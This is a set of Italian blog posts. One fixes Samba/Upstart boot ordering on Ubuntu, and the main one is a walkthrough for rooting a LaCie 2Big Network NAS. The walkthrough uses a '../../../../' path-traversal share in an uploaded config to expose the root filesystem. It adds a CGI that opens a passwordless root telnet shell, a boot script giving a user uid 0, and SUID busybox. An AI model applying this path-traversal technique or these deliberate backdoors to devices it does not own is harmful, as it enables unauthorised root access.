Race condition tra Upstart e Samba se nel pc è presente un interfaccia bridge

Vengo subito al dunque, dopo un recente aggiornamento del pacchetto samba ho cominciato ad avere problemi ad accedere alle mie cartelle condivise sul mio ubuntu server 10.04.
Nella mia macchina è presente un bridge di rete che collega la mia interfaccia ethernet su cavo (eth0) con quella wifi (wlan0):

router <= eth0 (0.0.0.0) => br0 (192.168.1.10) <= wlan0 (0.0.0.0) => altri pc.

Il problema si risolveva se, dopo l’avvio della macchina, riavviavo il servizio samba.

Per trovare l’origine del problema ho controllato i file di log di samba:

[2010/09/17 08:39:56, 0] lib/util_sock.c:938(open_socket_in)
bind failed on port 445 socket_addr = fe80::201:2eff:fe2f:d55%br0.
Error = Cannot assign requested address
[2010/09/17 08:39:56, 0] smbd/server.c:457(smbd_open_one_socket)
smbd_open_once_socket: open_socket_in: Cannot assign requested address
[2010/09/17 08:39:56, 0] lib/util_sock.c:938(open_socket_in)
bind failed on port 139 socket_addr = fe80::201:2eff:fe2f:d55%br0.
Error = Cannot assign requested address
[2010/09/17 08:39:56, 0] smbd/server.c:457(smbd_open_one_socket)
smbd_open_once_socket: open_socket_in: Cannot assign requested address

La mia configurazione di rete di samba è la seguente:

interfaces = 127.0.0.0/8 192.168.1.0/24 br0
bind interfaces only = yes

In pratica samba pubblica le sue sockets nell’interfaccia di rete br0 e loopback.

Il problema si presenta perché upstart non aspetta che il bridge di rete sia attivo prima di avviare il servizio samba. Il bridge impiega circa 15 secondi ad avviarsi, nel mentre samba pubblica le sue sockets solo nelle interfacce di rete attive  in quel momento, essendo l’interfaccia bridge ancora non attiva, samba fallisce la pubblicazione del servizio sul bridge impedendo così l’accesso da un computer remoto.
La conferma mi è stata data dal comando netstat -an.

Prima del riavvio del servizio samba:

tcp 0 0 127.0.0.1:139 0.0.0.0:* LISTEN
...
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN

Dopo il riavvio del servizio samba:

tcp 0 0 127.0.0.1:139 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.10:139 0.0.0.0:* LISTEN
...
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.10:445 0.0.0.0:* LISTEN

La soluzione al problema è modificare lo script di avvio di samba di upstart.
Ovvero:

sudo nano /etc/init/smbd.conf

e cambiare la linea:

start on local-filesystems

in

start on (local-filesystems and net-device-up IFACE=br0)

Ovviamente se la vostra interfaccia bridge ha un nome diverso da br0 cambiatelo opportunamente.

In questo modo obbligherete upstart ad aspettare che il bridge sia attivo prima di avviare il demone samba.

Errori simili posso verificarsi se sulla vostra macchina viene eseguito il demone dhcp3-server configurato per fornire indirizzi ip sull’interfaccia bridge.

Race condiction analogo per dhcpd

(!sic) Ho risolto il problema con il servizio dhcp3 editando il file:

sudo nano /etc/init/rc-sysinit.conf

e cambiando la linea

start on filesystem and net-device-up IFACE=lo

in

start on filesystem and net-device-up IFACE=br0

For more info about this problem see:
https://bugs.launchpad.net/ubuntu/+source/dhcp3/+bug/580319

tftpd-hpa

Problemi anche con lui. il più delle volte si avvia e pubblica le sue socket sull’interfaccia bridge correttamente, tuttavia, sporadicamente fallisce.
Quindi forziamo lo script di avvio, del servizio tftp-hpa, ad attendere la disponibilità del bridge prima di avviare il demone:

nano /etc/init/tftpd-hpa.conf

e cambiare la riga:

start on (filesystem and net-device-up IFACE!=lo)

in

start on (filesystem and net-device-up IFACE=br0)

La condizione IFACE!=lo è sicuramente più furba tra tutte la condizioni di avvio riscontrate nei precedenti file di configurazione (dhcpd e samba), tuttavia non è sufficiente se nella vostra macchina avete più di un interfaccia di rete (es. tunnel ipv6). Il bridge è un interfaccia lenta e il servizio in questione finisce col pubblicare le proprie socket sulle altre interfacce di rete attive ma non sul bridge.

Giacché sono in tema…
Dato che in internet non ho visto molti esempi corretti di configurazioni (per debian) di interfacce bridge, riporto la mia configurazione di rete:

/etc/network/interfaces

auto lo
iface lo inet loopback

iface eth0 inet manual

iface wlan0 inet manual

auto br0
iface br0 inet static
	bridge_ports eth0 wlan0
	address 192.168.1.10
	network 192.168.1.0
	netmask 255.255.255.0
	gateway 192.168.1.1
	broadcast 192.168.1.255

Per esempi di configurazione diversi e più completi vi rimando alla pagina, in inglese, della wiki di debian.

LaCie 2Big Network tweaking: deframmentazione filesystem con xfs_fsr

It’s not a bug, it’s a feature. [Anonimo]

Chi ha già eseguito l‘hack del proprio nas avrà sicuramente notato che la partizione contenente i dati dell’utente è formattata con il filesystem xfs. Questo ottimo filesystem ha la brutta abitudine, con l’uso, di frammentarsi deteriorando così le sue prestazioni.

Per vedere lo stato di frammentazione del proprio filesystem:

# xfs_db -c frag -r /dev/md4

Vedrete qualcosa del tipo:

actual 3144, ideal 3135, fragmentation factor 0.29%

Per deframmentare il nas abbiamo bisogno dell’utility xfs_fsr, che non è installata sul nas.
Ho recuperato il programma dal pacchetto xfsdump della distro debian lenny compilato per armtel, quindi compatibile con il nas. Ho rimosso dal pacchetto tutti i file strettamente non necessari riducendolo a 14kb.

Potete anche andare a farvi un caffè, la prima esecuzione del programma ha impegnato più di 4 ore per finire. 😛

Per chi non si fosse informato, recentemente è uscito un aggiornamento del firmware del nas ver 2.2.6.
Se vi chiedete che fine hanno fatto le versioni 2.2.4 e 2.2.5… bhe della 2.2.4 non so dirvi molto ma la versione 2.2.5 del firmware è stata un flop totale. Il processo di installazione, che consisteva in due file da caricare sul nas, si piantava al caricamento del secondo file.

Ho testato l’hack su questa nuova versione del firmware, nei seguenti modi:

  • nas con firmware 2.2.3 bucato e aggiornato successivamente alla ver 2.2.6
  • aggiornato il nas alla versione 2.2.6 e successivamente bucato

in entrambi i casi è stato possibile bucare il nas.

Pulizie di fine pasqua…

Dopo un po di mesi che non aggiornavo il mio sito internet ho, in questi ultimi giorni, fatto un po di pulizie…

Ho pubblicato un progetto in linguaggio Java per il corso di programmazione di rete (BitCreek, una Content Distribution Network (CDN) ispirata a BitTorrent) compreso, come sempre, di codice, documentazione e sorgenti. Spero che possa dare uno aiuto a chi si affaccia per la prima volta alle socket tcp, tcp-ssl, udp, remote method invocation, pool di thread, ecc.. ecc.. in java.

D’altra parte ho eliminato il vecchio sito del liceo: inutile strascico di pagine obsolete. Ultima modifica, degna di nota, è la pagina di benvenuto al sito che adesso è integrata nel blog e il ripristino di alcuni collegamenti interrotti in alcuni post.

Appena ho un po di tempo pubblicherò un altro post sul nas 2big network. 😉

Good code Vs Bad code

LaCie 2Big Network hack: telnet, openssh, ntpd, cups and more..

Dopo le 3 del mattino, due sole categorie di persone sono al lavoro: le prostitute e i programmatori. [Anonimo].

LaCie 2big Network
  1. Informazioni Generali
  2. Hacking
  3. Hacking tramite la creazione di una nuova condivisione
  4. Binari compilati per architettura ARM e file di configurazione per initng e pam
  5. Aggiungere telnet al nas
  6. Installazione di OpenSSH
  7. Persistenza dei privilegi dell’utente
  8. Problemi con su e passwd e personalizzazione del promtp della bash
  9. Installazione di NTP
  10. Installazione di Cups (print server)
  11. Deframmentazione del filesystem del nas (Vedi articolo)
  12. Installazione nfs server in spazio utente (Vedi articolo)
  13. The next generation control (ngc)
  14. Ripristino
  15. Link Utili
  16. Speculazioni
  17. Ringraziamenti

 

Informazioni Generali

L’obbiettivo di questo post è di aggiungere una shell ssh e il demone ntpd al vostro nas, ma prima di fare ciò è bene capire un po con quale macchina abbiamo a che fare. Il nas LaCie 2Big Network preso come riferimento e su cui è stata eseguita questa procedura ha il firmware ufficiale, distribuito dalla LaCie, aggiornato alla versione 2.2.3.

# cat /proc/cpuinfo

Processor       : ARM926EJ-S rev 0 (v5l)
BogoMIPS        : 266.24
Features        : swp half thumb fastmult edsp
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 0
Cache type      : write-back
Cache clean     : cp15 c7 ops
Cache lockdown  : format C
Cache format    : Harvard
I size          : 32768
I assoc         : 1
I line length   : 32
I sets          : 1024
D size          : 32768
D assoc         : 1
D line length   : 32
D sets          : 1024

Hardware        : Feroceon
Revision        : 0000
Serial          : 0000000000000000
# cat /proc/version

Linux version 2.6.22.7 (root@grp-dash) (gcc version 4.2.1) #1 Thu Apr 9 16:07:45 CEST 2009
# free
 	total	used	free	shared	buffers
Mem:	61952	60184	1768	0	7384
Swap:	128376	60184	0	128376
Total:	190328	130144
# df -h

Filesystem	Size	Used	Available	Use%	Mounted on
rootfs  	648.4M	20.2M	595.3M  	3%	/
udev    	648.4M	20.2M	595.3M  	3%	/dev
/dev/md0	7.5M	5.9M	1.2M    	83%	/oldroot
udev            10.0M	0	10.0M           0%	/oldroot/dev
udev	        10.0M	0	10.0M   	0%	/oldroot/dev
none	        30.3M	0	30.3M   	0%	/oldroot/dev/shm
/dev/md1	167.0M	111.3M	47.1M   	70%	/oldroot/var/original
/dev/md2	648.4M	20.2M	595.3M   	3%	/oldroot/snapshots
unionfs	        648.4M	20.2M	595.3M  	3%	/
/dev/md4	930.4G	1.2M	930.4G  	0%	/home
# cat /proc/partitions

major minor  #blocks  name

8     0  976762584 sda
8     1          1 sda1
8     2  975755970 sda2
8     5     128457 sda5
8     6       8001 sda6
8     7       8001 sda7
8     8     176683 sda8
8     9     674698 sda9
8    10       8001 sda10
8    16  976762584 sdb
8    17          1 sdb1
8    18  975755970 sdb2
8    21     128457 sdb5
8    22       8001 sdb6
8    23       8001 sdb7
8    24     176683 sdb8
8    25     674698 sdb9
8    26       8001 sdb10
31    0        512 mtdblock0
9     0       7936 md0
9     1     176576 md1
9     2     674624 md2
9     3     128384 md3
9     4  975755904 md4
# cat /proc/mtd

dev:    size   erasesize  name
mtd0: 00080000 00010000 "cfi_flash_0"

Sinteticamente è un sistema operativo linux con un kernel decisamente datato (sic!) compilato per processori con architettura arm, cpu a 400mhz, 64mb di ram (i nuovi modelli hanno 128 mb di ram) e bootloader uboot. Dalle poche informazioni reperite dal sito ufficiale sembra che sia stato usato per costruire il sistema scratcbox e per avviare i servizi e i demoni hanno usato initng al posto di init.d. I problemi che nascono sono molteplici: il reperimento del software già compilato per il sistema (a meno di buttarsi a capofitto nel cross-compiling) compatibile con le versioni di libreria utilizzate dal nas e la creazione degli script di avvio per initng. Anche gli script per initng trovati in rete devono essere modificati un po per farli funzionare sul sistema, dato che gli sviluppatori non hanno rispettato pienamente le specifiche di initng, inserendo tutti gli script *.i nella cartella /etc/initng/ senza effettuare la suddivisione in sottocartelle (deamon per i demoni, net per i servizi di rete, ecc.)

 

Hacking

Premessa: Non mi assumo alcuna responsabilità qualora, in seguito alle modifiche effettuate, il vostro sistema smettesse di funzionare  correttamente. Vi ricordo, inoltre, che ogni modifica hardware o software al sistema comporta la perdita della garanzia da parte del produttore.
L’accesso al sistema è fondamentale per poter aggiungere al nostro nas uno script bash che esegue dei comandi a nostro piacimento (webshell) o preferibilmente uno script ad hoc per avviare il servizio telnet ed avere una console di root remota.
Ci sono diversi modi per “bucare” il vostro nas, infatti a seconda dei servizi avviati sulla macchina la sicurezza di questo oggetto va decisamente a farsi benedire. Un modo molto semplice per avere accesso al sistema senza smontare fisicamente i dischi è creare una nuova condivisione con un percorso particolare. (vedi più sotto) Avrete così un accesso a tutto il sistema e con i privilegi di amministratore dato che il webserver del nas possiede i diritti di root.

2Big Network Web Browser Hacked

La controparte di questo hacking è che al riavvio della macchina, la condivisione creata viene cambiata dal sistema (meccanismo di protezione??) e rediretta nella vostra condivisione principale, obbligandovi a dover riapplicare la ‘patch’ ogni qualvolta sentite l’esigenza di accedere al vostro sistema linux. Anche la rimozione della nuova condivisione è da eseguire con estrema attenzione. Il mio suggerimento è di rimuovere questa condivisione una volta che si è uppato sul nas il demone telnet e il suo file di avvio (vedi sotto).

 

Hacking tramite la creazione di una nuova condivisione

  • Create una nuova condivisione sul vostro nas di nome “Hack”. La path della condivisione non è importante ciò che importa è che abilitiate almeno la condivisione http.
  • Salvare la configurazione xml del vostro nas sul disco (Sistema->Manutenzione->Salva configurazione)
  • Fare una copia di backup del file appena salvato (Fatelo! Vi servirà più avanti per rimettere le cose in ordine).
  • Editare il file di configurazione xml scaricato modificando la path della condivisione “Hack” come da figura:

edconf.xml

Tenete conto le righe del codice xml del vostro file possono differire dall’immagine qui sopra riportata, in relazione al numero di condivisioni della vostra macchina, dagli utenti e dai gruppi.

  • Salvare le modifiche e uppare la nuova configurazione sul nas (Sistema->Manutenzione->Carica la configurazione)
  • Usate il vostro browser e accedete alle pagina di amministrazione del nas e cliccate su sfoglia per navigare sulla nuova condivisione via web.

La magia viene eseguita dalla riga ../../../../ che impone al sistema di creare una nuova condivisione partendo dalla radice.
Se provate a rimuovere la condivisione “hack” farete danni al vostro sistema, perché insieme alla condivisione rimuoverete anche i file in essa contenuti (quindi il sistema operativo del nas). Un modo indolore per effettuare la rimozione della condivisione è caricare il backup della configurazione del nas effettuato precedentemente (edconf.xml) e solo dopo rimuovere la condivisione ‘hack’ normalmente tramite l’interfaccia web.

Una volta che avete l’accesso al filesystem, per di più con i diritti di root (!), potrete uppare tutti i file che volete.

 

Binari compilati per architettura ARM e file di configurazione per initng e pam

Da qui in poi avrete bisogno di questo archivio:

>> LaCie_2Big_Network_[TELNET][NTP][SSH][CUPS].zip (6,79Mb),

contenente tutti i binari e le librerie, compilati per architettura arm, che vi servono per installare sul vostro nas i demoni Telnet, NTP, OpenSSH e Cups.
(link aggiornato in data 19/01/12  🙁  aggiunta protezione hotlink al file)
L’archivio contiene i seguenti file:

  • cups-1.3.8-r1.tbz2 (1,89Mb), contenente tutti file del servizio di stampa. è incluso nell’archivio anche la libreria libpaper (libpaper-1.1.23.tbz2) richiesta dal cups e non presente nel nas.
  • cups-1.3.8-r1_(driver).tbz2 (3.74Mb), contenente tutti file ppd presenti nella distribuzione 9.10 di ubuntu. Questo file, ovviamente, non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
  • cups-1.3.8-r1_(language).tbz2 (419Kb), contenente la traduzione nelle maggiori lingue, italiano compreso, delle pagine html di cups. Questo file non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
  • ntp-4.2.4_p4.tbz2 (247Kb), contenente i binari e i file di configurazione per il demone ntp
  • openssh-4.7_p1-r6.tbz2 (490Kb), contenente i binari e i file di configurazione per il demone ssh. L’archivio contiene inoltre le librerie tcp-wrappers (tcp-wrappers-7.6-r8.tbz2) richieste dal demone non presenti nel nas.
  • usbutils-0.73.tbz2 (86,2Kb). Questo file non è strettamente necessario al nas ne è obbligatorio installarlo per far funzionare cups, tuttavia può essere di aiuto poiché installa l’eseguibile lsusb.
  • utelnetd.tbz2 (5.7Kb), contenente il demone utelnetd e un file per eseguirlo (vedi paragrafo successivo per maggiori info)

Gli archivi originali li ho recuperati dal sito:
http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi
/
dove sono presenti molti pacchetti già compilati per i nas della buffalo. Senonché questi pacchetti sono pensati per un sistema che usa inet.d e non initng, per cui ho dovuto crearmi a mano gli scrip di avvio per i demoni sshd, ntpd e cups (rispettivamente /etc/initng/sshd.i, /etc/initng/ntpd.i e /etc/initng/cups.i). Vi posso assicurare che non è stato un bel vedere: la documentazione in merito è alquanto carente e il forum ufficiale del progetto initng è sommerso dallo spam. (Quanto adoro gli spammer 👿 )

Ho voluto lasciare i pacchetti distinti, evitando di fare un unico archivio,  in modo da lasciarvi la massima scelta su cosa installare. Da i file ho rimosso i man page e i docs.

Aggiungere telnet al nas

L’archivio utelnetd.tbz2 contiene due file, il demone telnet e un file per lanciarlo e configurare la bash del vostro sistema. Copiate i due file nella cartella /www/cgi-bin/public/ tramite la condivisione creata precedentemente.
EccoVi il contenuto del file telnet.cgi:

#!/bin/sh
echo "Content-type: text/plain"
echo ""

# Settings for root bash shell
HOME='/root'
PATH='/usr/local/bin:/bin:/sbin:/usr/bin:/usr/sbin:.:'
TERM=linux

PS1='\u@\h:\w# '
PS2='> '
PS3='> '
PS4='+ '
export PS1 PS2 PS3 PS4 PATH HOME TERM

# Run telnet daemon
echo utelnetd -l /bin/bash
eval utelnetd -l /bin/bash

Potete lanciare il vostro demone telnet da un browser web all’indirizzo:

http://indirizzo_nas/cgi-bin/public/telnet.cgi

Se la pagina rimane bianca e in caricamento infinito non preoccupatevi, lanciate ugualmente il vostro client telnet sull’indirizzo del nas e godetevi la vostra console di root senza login. (evviva sicurezza!)
Una volta che si possiede una console a tutti gli effetti si può anche pensare di fare uno step in avanti con la sicurezza installando openssh.

 

Installazione di OpenSSH

Copiate l’archivio openssh-4.7_p1-r6[modificato].tbz2 nella vostra cartella condivisa del nas.
Dalla console di telnet eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf openssh-4.7_p1-r6.tbz2 -C /
# rm openssh-4.7_p1-r6.tbz2
# cd /etc/initng/runlevel/
# echo sshd >> default.runlevel
# touch /var/log/lastlog

Al primo avvio del nas dopo l’installazione dello ssh sarà, per una sola volta, più lento, la causa è la creazione automatica dei file:

ssh_host_dsa_key
ssh_host_dsa_key.pub
ssh_host_key
ssh_host_key.pub
ssh_host_rsa_key
ssh_host_rsa_key.pub

obbligatori per il funzionamento del demone ssh stesso (cartella /etc/ssh/).

Eccovi il file di configurazione (sshd.i), incluso nell’archivio, per initng per il demone sshd:

#!/sbin/itype

# NAME: OpenSSH
# DESCRIPTION: The standard Linux SSH server
# WWW: http://www.openssh.com/

service sshd/generate_keys {
	env KEYGEN=/usr/bin/ssh-keygen;
	env RSA1_KEY=/etc/ssh/ssh_host_key;
	env RSA_KEY=/etc/ssh/ssh_host_rsa_key;
	env DSA_KEY=/etc/ssh/ssh_host_dsa_key;
	script start = {
		[ ! -s ${RSA1_KEY} ] && \
			${KEYGEN} -q -t rsa1 -f ${RSA1_KEY} -C '' -N '' 2>&1
		if [ ! -s ${RSA_KEY} ] ; then
			${KEYGEN} -q -t rsa -f ${RSA_KEY} -C '' -N '' 2>&1
			chmod 600 ${RSA_KEY}
			chmod 644 ${RSA_KEY}.pub
		fi
		if [ ! -s ${DSA_KEY} ] ; then
			${KEYGEN} -q -t dsa -f ${DSA_KEY} -C '' -N '' 2>&1
			chmod 600 ${DSA_KEY}
			chmod 644 ${DSA_KEY}.pub
		fi
	}
}

daemon sshd {
	need = bootmisc virtual/net mountfs;
	pid_file = /var/run/sshd.pid;
	need = sshd/generate_keys;
	exec daemon = /usr/sbin/sshd -D;
	daemon_stops_badly;
	respawn;
}

Altro problema sono le pam, anche qui, il file presente nell’archivio originale non funziona e ho dovuto editarlo a mano. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so
password    required     pam_unix.so
session     required     pam_unix.so

Modificatelo a vostra discrezione (file /etc/pam.d/sshd).

 

Persistenza dei privilegi dell’utente

I problemi tuttavia non finiscono qui. Ad ogni riavvio della macchina il file /etc/passwd e /etc/shadow vengono sovrascritti. In particolare ogni nuovo utente creato tramite l’interfaccia web del nas non ha il diritto di loggarsi alla console remota del nas. Es:

admin:x:500:100::/home:/bin/false

Il /bin/false è il nostro problema! Per ovviare alla situazione ho creato un servizio per initng, chiamato personal, che permette di ripristinare i privilegi di un account:

#!/sbin/itype
#
# Cambiate la riga user="utente" inserendo a posto di 'utente' il nome dell'utente da voi creato

service personal {
	need = edconfd/ready;
	last;
	script start = {
		user="utente"
		PASSWD="$user:x:0:0::/root:/bin/bash"

		if [ "x`cat /etc/passwd | grep $user`" == "x" ]; then
			echo $PASSWD >> /etc/passwd
			echo "Insert user $user done" >&2
		else
			LINE="`cat /etc/passwd | grep $user`"
			if [ "$LINE" != "$PASSWD" ]; then
				sed -i "s#${LINE}#${PASSWD}#g" /etc/passwd
				echo "User $user restored" >&2
			fi
		fi
		exit 0
	};
}

Si presuppone che l’utente sia stato creato precedentemente tramite l’interfaccia web del nas.

L’unica modifica richiesta è cambiare la stringa user="utente", inserendo al posto di utente il nome dello user che avete creato. L’esecuzione dello script comporta la modifica dei privilegi dell’utente (che diventerà un alter ego del root) e la possibilità di effettuare il login remoto nella shell ssh.
Il file non è presente in alcun archivio, ma è possibile scaricarlo qui:

Per avviare automaticamente al boot del nas lo script copiare il file personal.i nella cartella /etc/initng/, ed eseguire:

# cd /etc/initng/runlevel/
# echo personal >> default.runlevel

Una volta che lo script è stato aggiunto potete finalmente eliminare il vostro demone telnet e il suo file di avvio dalla cartella /www/cgi-bin/public/. Per scaramanzia vi consiglio di riavviare la macchina e accertarvi che tutto funzioni come si ci aspetti prima di rimuovere i due file.

 

Problemi con su e passwd e personalizzazione del promtp della bash

Quando gli sviluppatori della LaCie hanno compilato il sistema hanno tralasciato, penso volutamente, qualcosa…
Loggatevi come root al nas ed eseguite (ricordo che l’accesso telnet che avete è di root):

# vi /etc/busybox.conf

Inserite queste linee, salvate il file e uscite dall’editor

[SUID]
passwd = ssx 0.0
su = ssx root.0

Dalla console, sempre con l’account di root, eseguite questi comandi:

# chown 0.0 /etc/busybox.conf
# chmod 600 /etc/busybox.conf
# chown 0.0 /bin/busybox
# chmod 4755 /bin/busybox

I problemi con su e passwd sono finiti.

Se volete il promt della bash esteso vi consiglio di editare il file /etc/profile.bash cambiando la riga:

PS1='[\u@\h \W]\$ '

in

PS1='[\u@\h \w]\$ '

 

Installazione di NTP

Copiate l’archivio ntp-4.2.4_p4.tbz2 (247Kb) nella vostra cartella condivisa del nas.
Dalla console, con i privilegi di root attivi, eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf ntp-4.2.4_p4.tbz2 -C /
# rm -r ntp-4.2.4_p4.tbz2
# cd /etc/initng/runlevel/
# echo ntpd >> default.runlevel

Questo qui è il file di configurazione, incluso nell’archivio, per initng per il demone ntpd:

#!/sbin/itype

daemon ntpd {
	env NTPD_PID = /var/run/ntpd.pid;
	need = bootmisc virtual/net;
	require_network;
	exec daemon = /usr/sbin/ntpd -c /etc/ntp.conf -p ${NTPD_PID};
	forks;
	pid_file = ${NTPD_PID};
	respawn;
}

Non dimenticatevi di configurare correttamente il vostro fuso orario. Potete farlo dalla pagina web di configurazione “system” del vostro nas. Per finire riavviate il nas.

 

Installazione di Cups (print server)

Copiate l’archivio cups-1.3.8-r1.tbz2 (1.89Mb)  nella vostra cartella condivisa del nas.

Dalla console, con i privilegi di root attivi, eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf cups-1.3.8-r1.tbz2 -C /
# rm -r cups-1.3.8-r1.tbz2
# cd /etc/initng/runlevel/
# echo cupsd >> default.runlevel

Aprite l’interfaccia web del nas e cliccate su GRUPPI e poi aggiungi, e create un nuovo gruppo con il nome “lpadmin” e aggiungete al gruppo l’utente che avete creato precedentemente per accedere al nas in ssh.

# vi /etc/sysconfig/modules

Aggiungete la riga usblp, come da figura e salvate.

File /etc/sysconfig/modules

L’ultimo passaggio impone al sistema di caricare automaticamente all’avvio il modulo che supporta la stampa su porta usb.
Vi ricordo che i comandi per modificare un file con l’editor vi sono “i” per inserire nuovo testo e “ESC”+”:wq” per salvare e uscire.

Eccovi il file di configurazione, incluso nell’archivio, per avviare automaticamente il demone cups tramite initng:

#!/sbin/itype

# NAME: CUPS
# DESCRIPTION: The Common Unix Printing System
# WWW: http://www.cups.org

daemon cupsd {
	need = bootmisc dbus virtual/net avahi;
	require_network;
	exec daemon = /usr/sbin/cupsd -F -c /etc/cups/cupsd.conf;
}

Dovete, inoltre, modificare il file /etc/cups/cupsd.conf per permettere l’amministrazione remota del cups, altrimenti inattiva. Come aiuto vi riporto il mio file di configurazione. Per un ulteriore aiuto su come configurare il cups vi rimando al sito internet ufficiale www.cups.org.

Anche per il cups ho dovuto editare a mano il file pam. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so

Modificatelo a vostra discrezione (file /etc/pam.d/cups).

Una volta riavviata la macchina, il cups sarà in esecuzione e raggiungibile all’indirizzo del vostro nas alla porta 631:

https://indirizzo_nas:631

I file cups-1.3.8-r1_(driver).tbz2 e cups-1.3.8-r1_(launguage).tbz2, sono opzionali e contengono i driver e la traduzione dell’interfaccia web, installarli o meno è una vostra scelta. Potete anche installare solo la lingua italiana rimuovendo dall’archivio cups-1.3.8-r1_(launguage).tbz2 le cartelle delle lingue che non desiderate, lo stesso dicasi per il file con i driver.

Per poter stampare in formato raw (output pre formattato) dovete togliere il commento alla linea seguente dal file /etc/cups/mime.convs:

application/octet-stream application/vnd.cups-raw 0 -

Assicuratevi che non sia commentata anche la linea seguente del file /etc/cups/mime.types:

application/octet-stream

In linux la stampante sarà rintracciabile all’indirizzo (fate attenzione alle volte non c’è bisogno di indicare il numero di porta):

ipp://indirizzo_nas:631/printers/nome_stampante

Es:

ipp://192.168.1.100:631/printers/ML-3050

In windows xp cliccate su “Aggiungi stampante” e per aggiungere una nuova stampante di rete e selezionate “Stampante  in Internet o della rete domestica o aziendale” e usate l’URL:

http://indirizzo_nas:631/printers/nome_stampante

Selezionate, infine, il driver per la vostra stampante.
Una piccola precisazione, il samba del nas non è stato compilato con il supporto per il cups. (libcups.so.2)

 

The next generation control (ngc)

# ngc -H
 initNGControl (0.6.10.2 ) by Jimmy Wennlund http://www.initng.org/

 ngc understand this commands:
 short Option                          : description
 ----------------------------------------------------------
 [-h] --help                           : Print what commands you can send to initng.
 [-H] --help_all                       : Print out verbose list of all commands.
 [-s] --status <opt>                   : Print all services.
 [-O] --options <opt>                  : Print out option_db.
 [-u] --start opt                      : Start service.
 [-d] --stop opt                       : Stop service.
 [-t] --states <opt>                   : Print out all possible states.
 [-I] --list_filedescriptors <opt>     : Print all open filedescriptors initng have.
 [-P] --print_service_db <opt>         : Print service_db
 [-p] --print_active_db <opt>          : Print active_db
 [-v] --verbose                        : Toggle the verbose flag - ONLY FOR DEBUGGING
 [-i] --add_verbose opt                : Add string to watch for to make initng verbose - ONLY FOR DEBUGGING
 [-k] --del_verbose opt                : Del string to watch for to make initng verbose - ONLY FOR DEBUGGING
 [-c] --hot_reload                     : Fast Reload
 [-g] --get_pid_of opt                 : Get pid of service
 [-j] --restart_from opt               : Stop all services, and start from
 [-z] --zap <opt>                      : Resets a failed service, so it can be restarted.
 [-r] --restart opt                    : Restart service
 [-T] --time opt                       : Print uptime
 [-f] --father opt                     : Print father to
 [-R] --reload_service <opt>           : Reload service data from disk ( reparse /etc/initng )
 [-6] --reboot                         : Reboot the computer
 [-0] --poweroff                       : Power off the computer
 [-1] --halt                           : Halt the computer
 [-m] --print_plugins                  : Print loaded plugins
 [-o] --load_module opt                : Load Module
 [-n] --done                           : Prints percent of system up
 [-a] --service_dep_on opt             : Print what services me depends on
 [-A] --service_dep_on_deep opt        : Print what services me depends on deep
 [-b] --service_dep_on_me opt          : Print what dependencies that are depending on me
 [-B] --service_dep_on_me_deep opt     : Print what dependencies that are depending on me deep
 [-U] --run opt                        : Simply run an exec with specified name, example ngc --run service/test:start
 [-y] --stop_unneeded                  : Stop all services, not in runlevel

 

Ripristino

È possibile ripristinare il filesystem del nas allo stato precedente le modifiche effettuando l’aggiornamento del firmware, anche con la stessa versione installata sul nas, nel mio caso 2.2.3, usando l’utility messa a disposizione dalla LaCie stessa. Tuttavia non è possibile effettuare tale operazione se il nas risulta non essere più visibile in rete, infatti l’utility non esegue il processo di aggiornamento se non vede precedentemente il nas.

Procedura di reset ufficiale fornita da LaCie

Portare l’interruttore dell’unità su OFF.. Dopo lo spegnimento, assicurarsi che l’interruttore rimanga in posizione OFF.
Se l’unità si trova in modalità SAFE, spostare lo switch RAID in modalità BIG.
PREMERE A LUNGO
il pulsante frontale. SPOSTARE l’interruttore di accensione in posizione ON . Il LED sul lato frontale dell’unità inizia a lampeggiare.
Quando il LED smette di lampeggiare, RILASCIARE il pulsante frontale.
Una volta rilasciato, il LED inizia a LAMPEGGIARE DI NUOVO. Quando smette, PREMERE A LUNGO il pulsante frontale. Il LED ricomincia a lampeggiare.
Quando il LED smette di lampeggiare, RILASCIARE il pulsante. L’unità esegue il reset.
Una volta che il reset è stato eseguito l’unità si riavvierà automaticamente.
Se necessario, riportare il selettore RAID su SAFE.
Per recuperare eventuali dati persi durante il processo, si devono ricreare le condivisioni presenti sull’unità prima del reset. Eventuali aggiornamenti del firmware dovranno essere applicati di nuovo.
La procedura di reset è parecchio noiosa da eseguire, infatti solo al quarto tentativo il nas si è resettato correttamente, quindi vi consiglio di avere molta pasienza.

 

Link Utili

 

Speculazioni

Un idea molto interessante che mi è venuta in mente è di modificare il raid del nas. In particolare, usare gli hard disk esterni, agganciabili alle porte del usb, come parte integrante del raid usando il raid 5 o aggiungere un hd esterno da usare come spare in caso di guasto. Non ho compiuto alcuna prova in merito, principalmente per mancanza di hd, ma se qualcuno ha avuto la stessa mia idea e ci sta provando mi faccia sapere qualcosa. 🙂

Aggiornamento del kernel (?!?)

 

Ringraziamenti

Ringrazio gli utenti del forum “General NAS-Central Forums”, che con i loro utili post hanno permesso la stesura di questo articolo e soprattutto di bucare il mio nas. 🙂

http://hostname:631/printers/RawPrinterQueueName

Fonera Si, Fonera.. No!?

Fonera 2100, 2200, 2.0g, 2.0n

Non sono contento della piega che da un po di tempo a questa parte fon sta prendendo. Hanno impiegato molti sforzi a sviluppare dei plugin per megaupload, picasa, facebook, twitter, rapidshare ecc. che non sono così fondamentali come la stabilità del router, né sono così importanti da essere installati di default e senza possibilità di rimuoverli dalla fonera.

Inoltre continuano a non dare troppo peso alle richieste degli utenti sia in termini di hardware che in termini di software. Chi non vuole sulla propria fonera tutte le opzioni che il mod freelan fornisce?

